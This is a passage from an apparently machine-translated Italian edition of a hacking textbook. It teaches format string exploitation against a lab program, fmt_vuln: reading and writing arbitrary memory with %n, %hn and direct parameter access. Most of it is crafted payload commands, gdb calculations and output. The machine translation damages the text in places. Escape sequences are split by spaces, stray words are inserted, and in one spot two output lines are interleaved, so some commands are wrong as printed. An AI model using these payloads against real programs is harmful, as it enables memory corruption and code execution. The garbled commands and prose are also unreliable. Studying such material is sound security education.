lettore @ hacking: ~ / booksrc $

Qui il programma getenvaddr viene utilizzato per ottenere l'indirizzo per l'ambiente
variabile PATH . Poiché il nome del programma fmt_vuln è due byte inferiore a
getenvaddr , quattro vengono aggiunti all'indirizzo e i byte vengono invertiti a causa di
ordinamento dei byte. Il quarto parametro di formato di % s legge dall'inizio
della stringa di formato, pensando che sia l'indirizzo passato come funzione
discussione. Poiché questo indirizzo è l'indirizzo della variabile d'ambiente PATH ,
viene stampato come se un puntatore alla variabile d'ambiente fosse passato a printf () .
Ora che la distanza tra la fine dello stack frame e l'inizio
la ning della memoria della stringa di formato è nota, gli argomenti della larghezza del campo possono essere
omesso nei parametri di formato % x . Questi parametri di formato sono necessari solo
per passare attraverso la memoria. Usando questa tecnica, qualsiasi indirizzo di memoria può essere
esaminato come una stringa.

172 0x300

Pagina 187

0x354 Scrittura su indirizzi di memoria arbitrari


Se il parametro di formato % s può essere utilizzato per leggere un indirizzo di memoria arbitrario,
dovresti essere in grado di usare la stessa tecnica con % n per scrivere su un file arbitrario
indirizzo di memoria. Adesso le cose si fanno interessanti.
La variabile test_val ha stampato il proprio indirizzo e valore nel file
dichiarazione di debug del vulnerabile programma fmt_vuln.c, chiedendo solo di esserlo
sovrascritto. La variabile di test si trova a 0x08049794 , quindi utilizzando un file simile
tecnica, dovresti essere in grado di scrivere nella variabile.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ xd7 \ xfd \ xff \ xbf")% 08x.% 08x.% 08x.% s
Il modo giusto per stampare l'input controllato dall'utente:
????% 08x.% 08x.% 08x.% S
Il modo sbagliato per stampare l'input controllato dall'utente:
???? bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/
usr / giochi
[*] test_val @ 0x08049794 = -72 0xffffffb8
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% 08x.% 08x.% 08x.% n
Il modo giusto per stampare l'input controllato dall'utente:
??% 08x.% 08x.% 08x.% N
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0.b7fe75fc.00000000.
[*] test_val @ 0x08049794 = 31 0x0000001f
lettore @ hacking: ~ / booksrc $

Come mostra questo, la variabile test_val può essere effettivamente sovrascritta usando il
Parametro di formato % n . Il valore risultante nella variabile di test dipende da
numero di byte scritti prima di % n . Questo può essere controllato a un maggiore
grado manipolando l'opzione della larghezza del campo.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = 21 0x00000015
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 100x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 100x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 120 0x00000078
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 180x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 180x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 200 0x000000c8
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 400x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 400x% n

Sfruttamento 173

Pagina 188

Il modo sbagliato per stampare l'input controllato dall'utente:


?? bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 420 0x000001a4
lettore @ hacking: ~ / booksrc $

Manipolando l'opzione di larghezza del campo di uno dei parametri di formato


prima di % n , è possibile inserire un certo numero di spazi vuoti, risultando in
l'uscita con alcune righe vuote. Queste linee, a loro volta, possono essere utilizzate
controlla il numero di byte scritti prima del parametro di formato % n . Questo
l'approccio funzionerà per piccoli numeri, ma non funzionerà per quelli più grandi, come
indirizzi di memoria.
Guardando la rappresentazione esadecimale del valore test_val , è
evidente che il byte meno significativo può essere controllato abbastanza bene. (Ricorda
che il byte meno significativo si trova effettivamente nel primo byte dei quattro
byte word di memoria.) Questo dettaglio può essere utilizzato per scrivere un intero indirizzo.
Se vengono eseguite quattro operazioni di scrittura su indirizzi di memoria sequenziali, la meno significativa
byte può essere scritto su ogni byte di una parola di quattro byte, come mostrato qui:

Memoria 94 95 96 97
Prima scrivi a 0x08049794 AA 00 00 00
Seconda scrittura a 0x08049795 BB 00 00 00
Terza scrittura a 0x08049796 CC 00 00 00
Quarta scrittura a 0x08049797 DD 00 00 00
Risultato AA BB CC DD

Ad esempio, proviamo a scrivere l'indirizzo 0xDDCCBBAA nel test


variabile. In memoria, il primo byte della variabile di test dovrebbe essere 0xAA , quindi 0xBB ,
quindi 0xCC e infine 0xDD . Quattro scritture separate negli indirizzi di memoria
0x08049794 , 0x08049795 , 0x08049796 e 0x08049797 dovrebbero eseguire questa operazione.
La prima scrittura scriverà il valore 0x000000aa , la seconda 0x000000bb , la terza
0x000000cc e infine 0x000000dd .
La prima scrittura dovrebbe essere facile.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 8x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 8x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc 0
[*] test_val @ 0x08049794 = 28 0x0000001c
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 0xaa - 28 + 8
$ 1 = 150
(gdb) esci
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 150x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 150x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0x000000aa
lettore @ hacking: ~ / booksrc $

174 0x300

Pagina 189
L'ultimo parametro di formato % x utilizza 8 come larghezza del campo per standardizzare il file
produzione. Si tratta essenzialmente di leggere un DWORD casuale dallo stack, che
potrebbe produrre da 1 a 8 caratteri. Dal momento che la prima sovrascrittura mette
28 in test_val, usando 150 come larghezza del campo invece di 8 dovrebbe controllare il file
byte meno significativo di test_val su 0xAA .
Ora per la prossima scrittura. È necessario un altro argomento per un altro % x
parametro di formato per incrementare il conteggio dei byte a 187, che è 0xBB in formato
decimale. Questo argomento potrebbe essere qualsiasi cosa; deve essere lungo solo quattro byte
e deve essere posizionato dopo il primo indirizzo di memoria arbitrario di 0x08049754 .
Poiché tutto questo è ancora nella memoria della stringa di formato, può essere facilmente
controllato. La parola JUNK è lunga quattro byte e funzionerà correttamente.
Dopodiché, il prossimo indirizzo di memoria su cui scrivere, 0x08049755 , dovrebbe
essere messo in memoria in modo che il secondo parametro di formato % n possa accedervi. Questo
significa che l'inizio della stringa di formato dovrebbe essere costituito dalla mem-
ory address, quattro byte di spazzatura, quindi l'indirizzo di memoria di destinazione più uno.
Ma tutti questi byte di memoria vengono stampati anche dalla funzione di formattazione,
incrementando così il contatore di byte utilizzato per il parametro di formato % n . Questo è
diventare complicato.
Forse dovremmo pensare all'inizio della stringa di formato in anticipo
di tempo. L'obiettivo è avere quattro scritture. Ognuno dovrà avere una memoria
indirizzo passato ad esso, e tra tutti, sono necessari quattro byte di spazzatura
incrementare correttamente il contatore di byte per i parametri di formato % n . Il primo
Il parametro di formato % x può utilizzare i quattro byte trovati prima della stringa di formato
stesso, ma i restanti tre dovranno essere forniti dei dati. Per l'intero
procedura di scrittura, l'inizio della stringa di formato dovrebbe essere simile a questo:

0x08049794 0x08049795 0x08049796 0x08049797

94 97 04 08 JUNK 95 97 04 08 JUNK 96 97 04 08 JUNK 97 97 04 08

Proviamolo.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08JUNK \ x95 \ x97 \ x04 \ x08JUNK \ x96 \
x97 \ x04 \ x08JUNK \ x97 \ x97 \ x04 \ x08 ")% x% x% 8x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 8x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3c0b7fe75fc 0
[*] test_val @ 0x08049794 = 52 0x00000034
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$ 1 = 126
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08JUNK \ x95 \ x97 \ x04 \ x08JUNK \ x96 \
x97 \ x04 \ x08JUNK \ x97 \ x97 \ x04 \ x08 ")% x% x% 126x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 126x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0x000000aa
lettore @ hacking: ~ / booksrc $

Sfruttamento 175

Pagina 190

Gli indirizzi e i dati indesiderati all'inizio della stringa di formato sono stati modificati
il valore dell'opzione di larghezza del campo necessaria per il parametro di formato % x .
Tuttavia, questo è facilmente ricalcolato utilizzando lo stesso metodo di prima. Un altro
Il modo in cui si sarebbe potuto fare è sottrarre 24 dalla larghezza del campo precedente
valore di 150, poiché sono state aggiunte 6 nuove parole da 4 byte all'inizio del file
stringa di formato.
Ora che tutta la memoria è impostata in anticipo all'inizio del file
stringa di formato, la seconda scrittura dovrebbe essere semplice.

reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xbb - 0xaa"


$ 1 = 17
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08JUNK \ x95 \ x97 \ x04 \ x08JUNK \ x96 \
x97 \ x04 \ x08JUNK \ x97 \ x97 \ x04 \ x08 ")% x% x% 126x% n% 17x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 126x% n% 17x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3b0b7fe75fc
0 4b4e554a
[*] test_val @ 0x08049794 = 48042 0x0000bbaa
lettore @ hacking: ~ / booksrc $

Il successivo valore desiderato per il byte meno significativo è 0xBB . Un hexa-


Il calcolatore decimale mostra rapidamente che è necessario scrivere altri 17 byte
prima del prossimo parametro di formato % n . Poiché la memoria è già stata impostata
per un parametro di formato % x , è semplice scrivere 17 byte utilizzando il campo
opzione di larghezza.
Questo processo può essere ripetuto per la terza e la quarta scrittura.

reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xcc - 0xbb"


$ 1 = 17
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xdd - 0xcc"
$ 1 = 17
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08JUNK \ x95 \ x97 \ x04 \ x08JUNK \ x96 \
x97 \ x04 \ x08JUNK \ x97 \ x97 \ x04 \ x08 ")% x% x% 126x% n% 17x% n% 17x% n% 17x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 126x% n% 17x% n% 17x% n% 17x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3b0b7fe75fc
0 4b4e554a 4b4e554a 4b4e554a
[*] test_val @ 0x08049794 = -573785174 0xddccbbaa
lettore @ hacking: ~ / booksrc $

Controllando il byte meno significativo ed eseguendo quattro scritture, un file


l'intero indirizzo può essere scritto in qualsiasi indirizzo di memoria. Si dovrebbe notare che
anche i tre byte trovati dopo l'indirizzo di destinazione verranno sovrascritti utilizzando
questa tecnica. Questo può essere rapidamente esplorato dichiarandone staticamente un altro
variabile inizializzata chiamata next_val , subito dopo test_val , e anche visualizzazione
questo valore nell'output di debug. Le modifiche possono essere effettuate in un editor o con
ancora un po ' sed magia.
176 0x300

Pagina 191

Qui, next_val viene inizializzato con il valore 0x11111111 , quindi l'effetto di


le operazioni di scrittura su di esso saranno evidenti.

reader @ hacking: ~ / booksrc $ sed -e 's / 72; / 72, next_val = 0x11111111; /; / @ / {h; s / test / next / g; x; G}'
fmt_vuln.c> fmt_vuln2.c
lettore @ hacking: ~ / booksrc $ diff fmt_vuln.c fmt_vuln2.c
7c7
<static int test_val = -72;
---
> static int test_val = -72, next_val = 0x11111111;
27a28
> printf ("[*] next_val @ 0x% 08x =% d 0x% 08x \ n", & next_val, next_val, next_val);
lettore @ hacking: ~ / booksrc $ gcc -o fmt_vuln2 fmt_vuln2.c
reader @ hacking: ~ / booksrc $ ./fmt_vuln2 test
Il modo giusto:
test
La strada sbagliata:
test
[*] test_val @ 0x080497b4 = -72 0xffffffb8
[*] next_val @ 0x080497b8 = 286331153 0x11111111
lettore @ hacking: ~ / booksrc $

Come mostra l'output precedente, la modifica del codice ha spostato anche il file
indirizzo della variabile test_val . Tuttavia, next_val viene mostrato come adiacente ad esso.
Per fare pratica, scriviamo di nuovo un indirizzo nella variabile test_val , usando il
nuovo indirizzo.
L'ultima volta è stato utilizzato un indirizzo molto conveniente di 0xddccbbaa . Dal momento che ciascuno
byte è maggiore del byte precedente, è facile incrementare il contatore di byte
per ogni byte. Ma cosa succede se viene utilizzato un indirizzo come 0x0806abcd ? Con questo indirizzo,
il primo byte di 0xCD è facile da scrivere utilizzando il parametro di formato % n tramite output-
ting 205 byte byte totali con una larghezza di campo di 161. Ma poi il byte successivo a
essere scritto è 0xAB , che dovrebbe avere 171 byte in uscita. È facile
incrementa il contatore di byte per il parametro di formato % n , ma è impossibile
sottrarre da esso.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln2 AAAA% x% x% x% x


Il modo giusto per stampare l'input controllato dall'utente:
AAAA% x% x% x% x
Il modo sbagliato per stampare l'input controllato dall'utente:
AAAAbffff3d0b7fe75fc041414141
[*] test_val @ 0x080497f4 = -72 0xffffffb8
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xcd - 5"
$ 1 = 200
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ xf4 \ x97 \ x04 \ x08JUNK \ xf5 \ x97 \ x04 \ x08JUNK \ xf6 \
x97 \ x04 \ x08JUNK \ xf7 \ x97 \ x04 \ x08 ")% x% x% 8x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 8x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3c0b7fe75fc 0
[*] test_val @ 0x08049794 = -72 0xffffffb8

Sfruttamento 177

Pagina 192

lettore @ hacking: ~ / booksrc $


lettore @ hacking: ~ / booksrc $ ./fmt_vuln2 $ (printf "\ xf4 \ x97 \ x04 \ x08JUNK \ xf5 \ x97 \ x04 \ x08JUNK \ xf6 \
x97 \ x04 \ x08JUNK \ xf7 \ x97 \ x04 \ x08 ")% x% x% 8x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 8x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3c0b7fe75fc 0
[*] test_val @ 0x080497f4 = 52 0x00000034
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xcd - 52 + 8"
$ 1 = 161
lettore @ hacking: ~ / booksrc $ ./fmt_vuln2 $ (printf "\ xf4 \ x97 \ x04 \ x08JUNK \ xf5 \ x97 \ x04 \ x08JUNK \ xf6 \
x97 \ x04 \ x08JUNK \ xf7 \ x97 \ x04 \ x08 ")% x% x% 161x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 161x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3b0b7fe75fc
0
[*] test_val @ 0x080497f4 = 205 0x000000cd
[*] next_val @ 0x080497f8 = 286331153 0x11111111
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xab - 0xcd"
$ 1 = -34
lettore @ hacking: ~ / booksrc $

Invece di provare a sottrarre 34 da 205, il byte meno significativo è solo


avvolto intorno a 0x1AB aggiungendo 222 a 205 per produrre 427, che è il
rappresentazione decimale di 0x1AB . Questa tecnica può essere utilizzata per avvolgere
di nuovo e impostare il byte meno significativo su 0x06 per la terza scrittura.

reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0x1ab - 0xcd"


$ 1 = 222
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p / d 0x1ab"
$ 1 = 427
lettore @ hacking: ~ / booksrc $ ./fmt_vuln2 $ (printf "\ xf4 \ x97 \ x04 \ x08JUNK \ xf5 \ x97 \ x04 \ x08JUNK \ xf6 \
x97 \ x04 \ x08JUNK \ xf7 \ x97 \ x04 \ x08 ")% x% x% 161x% n% 222x% n
Il
??modo
JUNKgiusto per stampare
?? JUNK ?? JUNKl'input
??% x% controllato
x% 161x% dall'utente:
n% 222x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3b0b7fe75fc
0
4b4e554a
[*] test_val @ 0x080497f4 = 109517 0x0001abcd
[*] next_val @ 0x080497f8 = 286331136 0x11111100
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0x06 - 0xab"
$ 1 = -165
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0x106 - 0xab"
$ 1 = 91
lettore @ hacking: ~ / booksrc $ ./fmt_vuln2 $ (printf "\ xf4 \ x97 \ x04 \ x08JUNK \ xf5 \ x97 \ x04 \ x08JUNK \ xf6 \
x97 \ x04 \ x08JUNK \ xf7 \ x97 \ x04 \ x08 ")% x% x% 161x% n% 222x% n% 91x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 161x% n% 222x% n% 91x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3b0b7fe75fc
0
4b4e554a

178 0x300

Pagina 193

4b4e554a
[*] test_val @ 0x080497f4 = 33991629 0x0206abcd
[*] next_val @ 0x080497f8 = 286326784 0x11110000
lettore @ hacking: ~ / booksrc $

Ad ogni scrittura, i byte della variabile next_val , adiacente a test_val , sono


essere sovrascritto. La tecnica avvolgente sembra funzionare bene, ma
un piccolo problema si manifesta quando viene tentato l'ultimo byte.

reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0x08 - 0x06"


$1=2
lettore @ hacking: ~ / booksrc $ ./fmt_vuln2 $ (printf "\ xf4 \ x97 \ x04 \ x08JUNK \ xf5 \ x97 \ x04 \ x08JUNK \ xf6 \
x97 \ x04 \ x08JUNK \ xf7 \ x97 \ x04 \ x08 ")% x% x% 161x% n% 222x% n% 91x% n% 2x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 161x% n% 222x% n% 91x% n% 2x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3a0b7fe75fc
0
4b4e554a
4b4e554a4b4e554a
[*] test_val @ 0x080497f4 = 235318221 0x0e06abcd
[*] next_val @ 0x080497f8 = 285212674 0x11000002
lettore @ hacking: ~ / booksrc $

Cos'è successo qua? La differenza tra 0x06 e 0x08 è solo due,


ma vengono emessi otto byte, con il risultato che il byte 0x0e viene scritto da % n
parametro di formato, invece. Questo perché l'opzione di larghezza del campo per
Il parametro di formato % x è solo una larghezza minima del campo e otto byte di dati
sono stati prodotti. Questo problema può essere alleviato semplicemente avvolgendolo
ancora; tuttavia, è bene conoscere i limiti dell'opzione di larghezza del campo.

reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0x108 - 0x06"


$ 1 = 258
lettore @ hacking: ~ / booksrc $ ./fmt_vuln2 $ (printf "\ xf4 \ x97 \ x04 \ x08JUNK \ xf5 \ x97 \ x04 \ x08JUNK \ xf6 \
x97 \ x04 \ x08JUNK \ xf7 \ x97 \ x04 \ x08 ")% x% x% 161x% n% 222x% n% 91x% n% 258x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 161x% n% 222x% n% 91x% n% 258x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3a0b7fe75fc
0
4b4e554a
4b4e554a
4b4e554a
[*] test_val @ 0x080497f4 = 134654925 0x0806abcd
[*] next_val @ 0x080497f8 = 285212675 0x11000003
lettore @ hacking: ~ / booksrc $

Proprio come prima, gli indirizzi appropriati ei dati spazzatura vengono inseriti nel file
inizio della stringa di formato e viene controllato il byte meno significativo
quattro operazioni di scrittura per sovrascrivere tutti e quattro i byte della variabile test_val . Qualunque
le sottrazioni di valore al byte meno significativo possono essere eseguite avvolgendo
eseguire il ping del byte intorno. Inoltre, potrebbe essere necessario aggiungere meno di otto
avvolto in un modo simile.

Sfruttamento 179

Pagina 194

0x355 Accesso diretto ai parametri


L'accesso diretto ai parametri è un modo per semplificare gli exploit delle stringhe di formato. Nel
exploit precedenti, ciascuno degli argomenti del parametro di formato doveva essere
proceduto in sequenza. Ciò ha reso necessario l'utilizzo di diversi formati % x
parametri per scorrere gli argomenti dei parametri fino all'inizio del file
è stata raggiunta la stringa di formato. Inoltre, la natura sequenziale ne richiedeva tre
Parole di spazzatura a 4 byte per scrivere correttamente un indirizzo completo in una memoria arbitraria
Posizione.
Come suggerisce il nome, l'accesso diretto ai parametri consente ai parametri di essere
accessibile direttamente utilizzando il qualificatore del segno di dollaro. Ad esempio, % n $ d lo farebbe
accedere al n ° di parametri e visualizzarlo come numero decimale.

printf ("7 °:% 7 $ d, 4 °:% 4 $ 05d \ n", 10, 20, 30, 40, 50, 60, 70, 80);

La precedente chiamata printf () avrebbe il seguente output:


7 °: 70, 4 °: 00040

Innanzitutto, il 70 viene emesso come numero decimale quando il parametro di formato


Viene rilevato un etere di % 7 $ d , perché il settimo parametro è 70. Il secondo
Il parametro format accede al quarto parametro e utilizza un'opzione di larghezza del campo
di 05 . Tutti gli altri argomenti dei parametri rimangono invariati. Questo metodo di
l'accesso diretto elimina la necessità di scorrere la memoria fino all'inizio
della stringa di formato si trova, poiché è possibile accedere direttamente a questa memoria.
L'output seguente mostra l'uso dell'accesso diretto ai parametri.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln AAAA% x% x% x% x


Il modo giusto per stampare l'input controllato dall'utente:
AAAA% x% x% x% x
Il modo sbagliato per stampare l'input controllato dall'utente:
AAAAbffff3d0b7fe75fc041414141
[*] test_val @ 0x08049794 = -72 0xffffffb8
lettore @ hacking: ~ / booksrc $ ./fmt_vuln AAAA% 4 \ $ x
Il modo giusto per stampare l'input controllato dall'utente:
AAAA% 4 $ x
Il modo sbagliato per stampare l'input controllato dall'utente:
AAAA41414141
[*] test_val @ 0x08049794 = -72 0xffffffb8
lettore @ hacking: ~ / booksrc $

In questo esempio, l'inizio della stringa di formato si trova in


quarto argomento del parametro. Invece di passare attraverso i primi tre
parametri di parametro utilizzando i parametri di formato % x , questa memoria può essere
accessibile direttamente. Poiché ciò viene eseguito dalla riga di comando e dal file
il simbolo del dollaro è un carattere speciale, deve essere preceduto da una barra rovesciata. Questo
dice semplicemente alla shell dei comandi di evitare di tentare di interpretare il segno del dollaro come un file
carattere speciale. La stringa del formato effettivo può essere visualizzata quando viene stampata
correttamente.

180 0x300

Pagina 195

L'accesso diretto ai parametri semplifica inoltre la scrittura degli indirizzi di memoria.


Poiché è possibile accedere direttamente alla memoria, non sono necessari spaziatori a quattro byte
di dati spazzatura per aumentare il numero di byte di output. Ciascuno dei parametri di formato % x
eter che di solito svolgono questa funzione possono accedere direttamente a una parte di
memoria trovata prima della stringa di formato. Per esercitarsi, usiamo il parametro diretto
eter accesso per scrivere un indirizzo dall'aspetto più realistico di 0xbffffd72 nel file
variabile test_val s.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (perl -e 'print "\ x94 \ x97 \ x04 \ x08". "\ x95 \ x97 \ x04 \ x08"
. "\ x96 \ x97 \ x04 \ x08". "\ x97 \ x97 \ x04 \ x08" ')% 4 \ $ n
Il modo giusto per stampare l'input controllato dall'utente:
????????% 4 $ n
Il modo sbagliato per stampare l'input controllato dall'utente:
????????
[*] test_val @ 0x08049794 = 16 0x00000010
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 0x72 - 16
$ 1 = 98
(gdb) p 0xfd - 0x72
$ 2 = 139
(gdb) p 0xff - 0xfd
$3=2
(gdb) p 0x1ff - 0xfd
$ 4 = 258
(gdb) p 0xbf - 0xff
$ 5 = -64
(gdb) p 0x1bf - 0xff
$ 6 = 192
(gdb) esci
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (perl -e 'print "\ x94 \ x97 \ x04 \ x08". "\ x95 \ x97 \ x04 \ x08"
. "\ x96 \ x97 \ x04 \ x08". "\ x97 \ x97 \ x04 \ x08" ')% 98x% 4 \ $ n% 139x% 5 \ $ n
Il modo giusto per stampare l'input controllato dall'utente:
????????% 98x% 4 $ n% 139x% 5 $ n
Il modo sbagliato per stampare l'input controllato dall'utente:
????????
bffff3c0
b7fe75fc
[*] test_val @ 0x08049794 = 64882 0x0000fd72
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (perl -e 'print "\ x94 \ x97 \ x04 \ x08". "\ x95 \ x97 \ x04 \ x08"
. "\ x96 \ x97 \ x04 \ x08". "\ x97 \ x97 \ x04 \ x08" ')% 98x% 4 \ $ n% 139x% 5 \ $ n% 258x% 6 \ $ n% 192x% 7 \ $ n
Il modo giusto per stampare l'input controllato dall'utente:
????????% 98x% 4 $ n% 139x% 5 $ n% 258x% 6 $ n% 192x% 7 $ n
Il modo sbagliato per stampare l'input controllato dall'utente:
????????
bffff3b0
b7fe75fc
0
8049794
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
lettore @ hacking: ~ / booksrc $

Sfruttamento 181

Pagina 196
Poiché la pila non deve essere stampata per raggiungere i nostri indirizzi, il file
il numero di byte scritti nel primo parametro di formato è 16. Parametro diretto
l'accesso viene utilizzato solo per i parametri % n , dal momento che non importa cosa
i valori vengono utilizzati per gli spaziatori % x . Questo metodo semplifica il processo di
scrive un indirizzo e riduce la dimensione obbligatoria della stringa di formato.

0x356 Utilizzo di scritture brevi


Un'altra tecnica che può semplificare gli exploit delle stringhe di formato è l'uso di short
scrive. Un short è in genere una parola di due byte ei parametri di formato hanno l'estensione
modo speciale di trattarli. Una descrizione più completa del possibile
i parametri di formato possono essere trovati nella pagina di manuale di printf. La porzione
la descrizione del modificatore di lunghezza è mostrata nell'output di seguito.

Il modificatore di lunghezza
Qui, conversione intera sta per conversione d, i, o, u, x o X.

h Una conversione intera successiva corrisponde a un int o


argomento int breve senza segno o una seguente conversione n
corrisponde a un puntatore a un breve argomento int.

Può essere utilizzato con gli exploit delle stringhe di formato per scrivere short a due byte. Nel
l'output sotto, un breve (mostrato in grassetto) è scritto in entrambe le estremità del file
variabile test_val a quattro byte . Naturalmente è ancora possibile utilizzare l'accesso diretto ai parametri.

lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% x% hn
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% x% hn
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = -65515 0xffff 0015
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x96 \ x97 \ x04 \ x08")% x% x% x% hn
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% x% hn
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = 1441720 0x0015 ffb8
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x96 \ x97 \ x04 \ x08")% 4 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
??% 4 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
??
[*] test_val @ 0x08049794 = 327608 0x0004ffb8
lettore @ hacking: ~ / booksrc $

Utilizzando scritture brevi, un intero valore di quattro byte può essere sovrascritto con solo
due parametri % hn . Nell'esempio seguente, la variabile test_val sarà over-
scritto ancora una volta con l'indirizzo 0xbffffd72 .

182 0x300

Pagina 197

lettore @ hacking: ~ / booksrc $ gdb -q


(gdb) p 0xfd72 - 8
$ 1 = 64874
(gdb) p 0xbfff - 0xfd72
$ 2 = -15731
(gdb) p 0x1bfff - 0xfd72
$ 3 = 49805
(gdb) esci
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08 \ x96 \ x97 \ x04 \ x08")% 64874x% 4 \
$ hn% 49805x% 5 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
????% 64874x% 4 $ hn% 49805x% 5 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
b7fe75fc
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
